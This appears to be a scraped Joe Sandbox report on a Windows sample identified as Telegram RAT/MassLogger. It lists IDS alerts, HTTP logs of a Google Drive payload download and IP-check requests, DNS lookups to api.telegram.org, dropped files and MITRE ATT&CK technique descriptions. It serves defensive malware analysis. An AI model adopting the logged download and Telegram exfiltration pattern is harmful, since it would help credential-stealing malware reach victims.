Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49827 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49795 -> 142.250.184.206:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17zh6-Wlf0aT1vS8RBy4ZmVv4fH0VS4Vd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=17zh6-Wlf0aT1vS8RBy4ZmVv4fH0VS4Vd&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ajRZflJ2ch.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

C:\Users\user\AppData\Local\Iw\Inerm129.deu

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

C:\Users\user\AppData\Local\Iw\Workhorse.Unb

C:\Users\user\AppData\Local\Iw\prepares.pli

C:\Users\user\AppData\Local\Temp\nsc8725.tmp

C:\Users\user\AppData\Local\Temp\nsd88AD.tmp\System.dll

Static File Info

General

File Icon

Windows Analysis Report
ajRZflJ2ch.exe

Function 004034A5 Relevance: 80.9, APIs: 32, Strings: 14, Instructions: 410
stringfilecomCOMMON

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Function 00402F30 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 203
memoryCOMMON

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 70131777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre